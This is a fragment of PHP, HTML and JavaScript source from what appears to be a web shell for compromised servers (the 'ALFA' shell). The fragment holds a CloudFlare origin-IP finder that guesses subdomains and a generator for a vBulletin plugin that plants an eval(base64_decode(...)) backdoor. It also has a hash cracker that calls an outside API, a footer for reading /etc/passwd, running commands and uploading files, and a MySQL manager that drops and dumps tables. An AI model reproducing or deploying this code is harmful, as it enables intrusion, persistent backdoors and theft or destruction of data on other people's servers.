$subs = array(\'owa.\',\'2tty.\',\'m.\',\'gw.\',\'mx1.\',\'store.\',\'1\',\'2\',\'vb.\',\'news.\',\'download.\',\'video\',\'cpanel.\', \'ftp.\', \'server1.\', \'cdn.\', \'cdn2.\', \'ns.\', \'ns3.\', \'mail.\', \'webmail.\', \'direct.\', \'direct-connect.\', \'record.\', \'ssl.\', \'dns.\', \'help.\', \'blog.\', \'irc.\', \'forum.\', \'dl.\', \'my.\', \'cp.\', \'portal.\', \'kb.\', \'support.\',\'search.\', \'docs.\', \'files.\', \'accounts.\', \'secure.\', \'register.\', \'apps.\', \'beta.\', \'demo.\', \'smtp.\', \'ns2.\', \'ns1.\', \'server.\', \'shop.\', \'host.\', \'web.\', \'cloud.\', \'api.\', \'exchange.\', \'app.\', \'vps.\', \'owa.\', \'sat.\', \'bbs.\', \'movie.\', \'music.\', \'art.\', \'fusion.\', \'maps.\', \'forums.\', \'acc.\', \'cc.\', \'dev.\', \'ww42.\', \'wiki.\', \'clients.\', \'client.\',\'books.\',\'answers.\',\'service.\',\'groups.\',\'images.\',\'upload.\',\'up.\',\'tube.\',\'users.\',\'admin.\',\'administrator.\',\'private.\',\'design.\',\'whmcs.\',\'wp.\',\'wordpress.\',\'joomla.\',\'vbulletin.\',\'test.\',\'developer.\',\'panel.\',\'contact.\');
if(preg_match(\'/^(https?):\/\/(w{3}|w3)\./i\', $url, $matches)){
if($matches[2] != \'www\'){$url = preg_replace(\'/^(https?):\/\//\', \'\', $url);}else{
$url = explode($matches[0], $url);
$url = $url[1];}}
if(is_array($server))$server = $server[0];
echo __pre();
if(preg_match(\'/cloudflare/i\', $server))
echo "
[+] CloudFlare detected: {$server}
<br>";
else
echo "
[+] CloudFlare wasn\'t detected, proceeding anyway.
";
echo \'[+] CloudFlare IP: \' . is_ipv4(gethostbyname($url)) . "

<br><br>";
echo "[+] Searching for more IP addresses.

<br><br>";
for($x=0;$x<count($subs);$x++){
$site = $subs[$x] . $url;
$ip = is_ipv4(gethostbyname($site));
if($ip == \'(Null)\')
continue;
echo "Trying {$site}: {$ip}
<br>";
}
echo "
[+] Finished.
<br>";
}
echo \'</div>\';
alfafooter();
}
function is_ipv4($ip){
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : \'(Null)\';
}
function __alert($s){
echo \'<center>\'.__pre().$s.\'</center>\';
}
function create_table($data){
echo \'<table border="1">\';
foreach ($data as $key => $val){
$array = array();
foreach($val as $k => $v){
$array[$k] = $v;
}
echo "<tr><td><div class=\'tbltxt\'>".$array[\'tdName\']."</div></td><td><input type=\'text\' id=\'".$array[\'id\']."\' name=\'".$array[\'inputName\']."\' ".($array[\'placeholder\']?\'placeholder\':\'value\')."=\'".$array[\'inputValue\']."\' size=\'".$array[\'inputSize\']."\' ".($array[\'disabled\']?\'disabled\':\'\')."></td></tr>";
}
echo \'</table>\';
}
function alfaphp2xml(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><p><div class=\'txtfont_header\'>| Shell For vBulletin |</div></p><form onsubmit=\"g(\'php2xml\',null,this.code.value,\'>>\'); return false;\" method=\'post\'>
<p><br><textarea rows=\'12\' cols=\'70\' type=\'text\' name=\'code\' placeholder=\"insert your shell code\"></textarea><br/><br/>
<input type=\'submit\' name=\'go\' value=\' \' /></p></form></center>";
if($_POST[\'alfa2\']&&$_POST[\'alfa2\']==\'>>\'){
echo __pre()."<p><center><textarea rows=\'10\' name=\'users\' cols=\'80\'>";
echo \'<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\'\'.__ZW5jb2Rlcg($_POST[\'alfa1\']).\'\'));exit;}]]></phpcode></plugin></plugins>\';
echo \'</textarea></center></p>\';
}
echo \'</center></div>\';
alfafooter();
}
function alfacpcrack(){
alfahead();
echo \'<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'dec\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'analyzer\')">| Hash Analyzer | </a></h3></center>\';
if($_POST[\'alfa1\']==\'dec\'){
$algorithms = array(\'md5\'=>\'MD5\',\'md4\'=>\'MD4\',\'sha1\'=>\'SHA1\',\'sha256\'=>\'SHA256\',\'sha384\'=>\'SHA384\',\'sha512\'=>\'SHA512\',\'ntlm\'=>\'NTLM\');
echo \'<center><div class="txtfont_header">| DeCrypter |</div><br><br>
<form onsubmit="g(\'cpcrack\',null,\'dec\',this.md5.value,\'>>\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">\';
foreach($algorithms as $key=>$val){echo(\'<option value="\'.$key.\'">\'.$val.\'</option>\');}
echo\'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>\';
if($_POST[\'alfa3\'] == \'>>\'){
$hash = $_POST[\'alfa2\'];
if(!empty($hash)){
$hash_type = $_POST[\'alfa4\'];
$email = "";
$code = "7b9fa79f92c3cd96";
$target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;
$resp = @file_get_contents($target);
if($resp==\'\'){
$get = new AlfaCURL();
$resp = $get->Send($target);
}
echo __pre().\'<center>\';
switch($resp){
	case(\'CODE ERREUR : 001\'):echo "<b><font color=\'red\'>You exceeded the 400 allowed request per day</font></b>";break;
	case(\'CODE ERREUR : 003\'):echo "<b><font color=\'red\'>Your request includes more than 400 hashes.</font></b>";break;
	case(\'CODE ERREUR : 004\'):echo "<b><font color=\'red\'>The type of hash you provide in the argument hash_type doesn\'t seem to be valid</font></b>";break;
	case(\'CODE ERREUR : 005\'):echo "<b><font color=\'red\'>The hash you provide doesn\'t seem to match with the type of hash you set.</font></b>";break;
}
if(substr($resp,0,4)!=\'CODE\'&&$resp!=\'\'){
echo "<b>Result: <font color=\'green\'>".$resp."</font></b>";
}elseif(substr($resp,0,4)!=\'CODE\'){
echo "<font color=\'red\'>NoT Found</font><br />";
}
echo(\'</center>\');
}
}
}
if($_POST[\'alfa1\']==\'analyzer\'){
echo \'<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>
<form onsubmit="g(\'cpcrack\',null,\'analyzer\',this.hash.value,\'>>\');return false;">
<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>\';
if($_POST[\'alfa3\'] == \'>>\'){
$hash = $_POST[\'alfa2\'];
if(!empty($hash)){
$curl = new AlfaCURL();
$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");
echo(__pre().\'<center>\');
if(preg_match(\'#<fieldset class="trouve">(.*?)</fieldset>#\',$resp,$s)){
	echo(\'<font color="green">\'.$s[1].\'</font>\');
}else{
	echo(\'<font color="red">Not Found...!</font>\');
}
echo(\'</center><br>\');
}
}
}
echo \'</div>\';
alfafooter();
}
function alfafooter(){
if(!isset($_POST[\'ajax\'])){
echo "<table class=\'foot\' width=\'100%\' border=\'0\' cellspacing=\'3\' cellpadding=\'0\' >
<tr>
<td width=\'17%\'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,\'mkfile\',\'\',\'\',\'\',\'file\');this.f.value=\'\';return false;\"><span class=\'footer_text\'>Make File : </span><br><input class=\'dir\' type=\'text\' name=\'f\' value=\'\'> <input type=\'submit\' value=\' \'></form></td>
<td width=\'21%\'><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);this.d.value=\'\';return false;\"><span class=\'footer_text\'>Make Dir : </span><br><input class=\'dir\' type=\'text\' name=\'d\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>
<td width=\'22%\'><form onsubmit=\"g(\'FilesMan\',null,\'delete\',this.del.value);this.del.value=\'\';return false;\"><span class=\'footer_text\'>Delete : </span><br><input class=\'dir\' type=\'text\' name=\'del\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>
<td width=\'19%\'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,\'chmod\',\'\',\'\',\'\',\'none\');this.f.value=\'\';return false;\"><span class=\'footer_text\'>Chmod : </span><br><input class=\'dir\' type=text name=f value=\' \'> <input type=\'submit\' value=\' \'></form></td>
</tr>
<tr>
<td colspan=\'2\'><form onsubmit=\'g(\"FilesMan\",this.c.value,\"\");return false;\'><span class=\'footer_text\'>Change Dir : </span><br><input class=\'foottable\' id=\'footer_cwd\' type=\'text\' name=\'c\' value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'> <input type=\'submit\' value=\' \'></form></td>
<td colspan=\'2\'><form onsubmit=\"editor(this.file.value,\'view\',\'\',\'\',\'\',\'file\');return false;\"><span><span class=\'footer_text\'>Read File : </span></span><br><input class=\'foottable\' type=\'text\' name=\'file\' value=\'/etc/passwd\'> <input type=\'submit\' value=\' \'></form></td>
</tr>
<tr>
<td colspan=\'4\'><form style=\'margin-top: 10px;\' onsubmit=\"return false;\" autocomplete=\'off\'><span><span class=\'footer_text\'>Execute :</span><br><button onClick=\'alfaOpenPhpTerminal();return false;\' class=\'foottable alfa_custom_cmd_btn\'><img style=\'width:28px;vertical-align: middle;\' src=\'http://solevisible.com/icons/menu/terminal.svg\'> Terminal</button><br></form></td>
</tr>
<tr>
<td colspan=\'4\'><form onsubmit=\'u(this);return false;\' name=\'footer_form\' method=\'post\' ENCTYPE=\'multipart/form-data\'>
<input type=\'hidden\' name=\'a\' value=\'FilesMAn\'>
<input type=\'hidden\' name=\'c\' value=\'" . $GLOBALS[\'cwd\'] ."\'>
<input type=\'hidden\' name=\'ajax\' value=\'true\'>
<input type=\'hidden\' name=\'alfa1\' value=\'uploadFile\'>
<input type=\'hidden\' name=\'charset\' value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>
<span class=\'footer_text\'>Upload file: </span><span><button id=\'addup\' onclick=\'addnewup();return false;\'><b>+</b></button></span><p id=\'pfooterup\'><label class=\'inputfile\' for=\'footerup\'><span id=\'__fnameup\'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id=\'footerup\' class=\'toolsInp\' type=\'file\' name=\'f[]\' onChange=\'handleup(this,0);\' multiple></p><input type=\'submit\' name=\'submit\' value=\' \'></form><div id=\'alfa-copyright\'><span class=\'copyright\'></span><br><span><a href=\'javascript:void(0);\' onclick=\'alert(\"\");\' style=\'color: #E91E63;text-decoration: none;\'></a></span> <span style=\'letter-spacing: 2px;color: #dfff00;\'></span> <span><a style=\'color: #ff6060;text-decoration: none;\' target=\'_blank\' href=\'\'></a></span></div></td>
</tr>
</table>
</div>

<div id=\'options_window\' style=\'background:rgba(0, 0, 0, 0.69);\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\"options_window\");\'></div><div onClick=\'editorClose(\"options_window\");\' class=\'close-button\'></div></div></div><div style=\'height:100%;\' class=\'content_options_holder\'><div class=\'options_tab\'></div><div class=\'options_content\' style=\'margin-left:14px;margin-right:30px;background:#000;overflow:auto;\'></div></div></div></div>

<div id=\'database_window\' style=\'background:rgba(0, 0, 0, 0.69);\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'>Sql Manager</div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\"database_window\");\'></div><div onClick=\'editorClose(\"database_window\");\' class=\'close-button\'></div></div></div><div class=\'content_options_holder\' style=\'margin-left:14px;margin-right:30px;
:#000;max-height:90%;\'><div class=\'sql-tabs\'></div><div class=\'sql-contents\' style=\'max-height: 85vh;\'></div></div></div></div>

<div id=\'cgiloader\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\"cgiloader\");\'></div><div onClick=\'editorClose(\"cgiloader\");\' class=\'close-button\'></div></div></div><div id=\'cgiframe\' style=\'position:relative;margin-left:14px;margin-right:30px;\'><div class=\'terminal-tabs\'></div><div style=\'height:90%;\' class=\'terminal-contents\'></div></div></div></div>
<div id=\'editor\' style=\'display:none;\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'editor-path\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\"editor\");\'></div><div onClick=\'editorClose(\"editor\");\' class=\'close-button\'></div></div></div><div onclick=\'historyPanelController(this);\' mode=\'visible\' class=\'history-panel-controller\'><<</div><div class=\'editor-explorer\'><div class=\'hheader\'><div class=\'history-clear\' onclick=\'clearEditorHistory();\'>Clear all</div><div class=\'hheader-text\'>History</div><div class=\'editor-search\'><input type=\'text\' style=\'text-align:center;\' id=\'search-input\' placeholder=\'search\'></div></div><div class=\'history-list\'></div></div><div class=\'editor-modal\'><div class=\'editor-body\'><div class=\'editor-content\'><div class=\'editor-tabs\'></div><div class=\'editor-content-holder\'></div></div></div></div></div></div>
<div id=\'update-content\'></div>
<div id=\'database_window-minimized\' onclick=\'showEditor(\"database_window\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div class=\'minimized-text\' style=\'top: 15px;\'>Database</div></div></div>
<div id=\'options_window-minimized\' onclick=\'showEditor(\"options_window\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 4px;\' class=\'minimized-text\'>Options</div></div></div>
<div id=\'editor-minimized\' onclick=\'showEditor(\"editor\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 2px;\' class=\'minimized-text\'>Editor</div></div></div>
<div id=\'cgiloader-minimized\' onclick=\'showEditor(\"cgiloader\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 12px;\' class=\'minimized-text\'>Cgi Shell</div></div></div>
<div id=\'rightclick_menu\'>
  <a target=\'_blank\' href=\'\' name=\'newtab\'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>
  <a target=\'_blank\' href=\'\' name=\'link\'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>
  <a href=\'javascript:void(0);\' name=\'download\'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>
  <a href=\'\' name=\'view\'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>
  <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'view_archive\'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>
  <a href=\'\' name=\'edit\'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>
  <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \"move\");\' ftype=\'\' path=\'\' fname=\'\' href=\'\' href=\'\' name=\'move\'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>
  <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \"copy\");\' ftype=\'\' path=\'\' fname=\'\' href=\'\' name=\'copy\'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>
  <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \"rename\");\' ftype=\'\' path=\'\' fname=\'\' name=\'rename\'><img src=\"http://solevisible.com/icons/menu/rename.svg\">  Rename</a>
  <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \"modify\");\' ftype=\'\' path=\'\' fname=\'\' name=\'modify\'><img src=\"http://solevisible.com/icons/menu/time.svg\">  Modify</a>
  <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \"permission\");\' name=\'permission\'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>
  <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'compress\'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>
  <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'extract\'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>
  <a href=\'javascript:void(0);\' name=\'delete\'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>
</div>
<div id=\"filesman-tab-full-path\"></div>
<div id=\'alert-area\' class=\'alert-area\'></div>
<div class=\'cl-popup-fixed\' style=\'display:none;\'>
	<div id=\'shortcutMenu-holder\'>
		<div class=\'popup-head\'></div>
			<form autocomplete=\'off\' onSubmit=\'return false;\'>
				<label class=\'old-path-lbl\'></label>
				<div style=\'overflow: hidden;white-space: nowrap;text-overflow: ellipsis;\' class=\'old-path-content\'></div>
				<label style=\'margin-top:10px;\' class=\'new-filename-lbl\'>New file name</label>
				<input type=\'text\' name=\'fname\'>
				<div class=\'perm-table-holder\'>
					<table>
					   <tbody>
					      <tr>
					         <td><b>Mode</b></td>
					         <td>User</td>
					         <td>Group</td>
					         <td>World</td>
					      </tr>
					      <tr>
					         <td>Read</td>
					         <td><input type=\'checkbox\' name=\'ur\' value=\'4\' onclick=\'calcperm();\'></td>
					         <td><input type=\'checkbox\' name=\'gr\' value=\'4\' onclick=\'calcperm();\'></td>
					         <td><input type=\'checkbox\' name=\'wr\' value=\'4\' onclick=\'calcperm();\'></td>
					      </tr>
					      <tr>
					         <td>Write</td>
					         <td><input type=\'checkbox\' name=\'uw\' value=\'2\' onclick=\'calcperm();\'></td>
					         <td><input type=\'checkbox\' name=\'gw\' value=\'2\' onclick=\'calcperm();\'></td>
					         <td><input type=\'checkbox\' name=\'ww\' value=\'2\' onclick=\'calcperm();\'></td>
					      </tr>
					      <tr>
					         <td>Execute</td>
					         <td><input type=\'checkbox\' name=\'ux\' value=\'1\' onclick=\'calcperm();\'></td>
					         <td><input type=\'checkbox\' name=\'gx\' value=\'1\' onclick=\'calcperm();\'></td>
					         <td><input type=\'checkbox\' name=\'wx\' value=\'1\' onclick=\'calcperm();\'></td>
					      </tr>
					      <tr>
					         <td>Permission</td>
					         <td><input style=\'width:60px;\' type=\'text\' name=\'u\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);\'></td>
					         <td><input style=\'width:60px;\' type=\'text\' name=\'g\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);\'></td>
					         <td><input style=\'width:60px;\' type=\'text\' name=\'w\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);\'></td>
					      </tr>
					   </tbody>
					</table>
				</div>

			</form>
		<div class=\'popup-foot\'>
			<button style=\'background: #2b5225;\' name=\'accept\' action=\'\' onclick=\'alfaPopUpDoAction(this);\'></button>
			<button style=\'background: #9e2c2c;\' onclick=\'d.querySelector(\".cl-popup-fixed\").style.display=\"none\";\'>Cancell</button>
		</div>
	</div>
</div>";?>
<script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\[\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\[\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href=\'javascript:void(0);\' onclick=\'g(\"FilesTools\",null,\""+s+\'","download");\'><span>Download: \'+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r=\'<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="\'+a+\'" placeholder="Filter Table" target=".cls-\'+i+\'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>\';for(var o in e)null!=e[o]&&(r+="<li><div class=\'block\'><i></i><b></b></div><div class=\'tables-row\'><input type=\'checkbox\' name=\'tbl[]\' value=\'"+e[o].name+"\'>&nbsp;<a class=\'db-opt-id\' db_target=\'"+i+"\' db_id=\'"+a+"\' href=\'javascript:void(0);\' onclick=\"alfaLoadTableData(this, \'"+e[o].name+"\')\"><span class=\'mysql_tables\' style=\'font-weight:unset;\'>"+e[o].name+"</span></a>"+(l?" <small><span style=\'font-weight:unset;\' class=\'mysql_table_count\'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+=\'</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="\'+a+\'" class="db-opt-id" target=".cls-\'+i+\'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="\'+a+\'" target=".cls-\'+i+\'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="\'+a+\'" class="db-opt-id" db_target="\'+i+\'" target=".cls-\'+i+\'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>\',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style=\'padding-left: 50px;\'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style=\'padding-left: 50px;\'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name=\'"+e.columns[u].name+"\'><option value=\'=\'>=</option><option value=\'!=\'>!=</option><option value=\'>\'>&gt;</option><option value=\'>=\'>&gt;=</option><option value=\'<\'>&lt;</option><option value=\'<=\'>&lt;=</option><option value=\"= \'\'\">= \'\'</option><option value=\"!= \'\'\">!= \'\'</option><option value=\'LIKE\'>LIKE</option><option 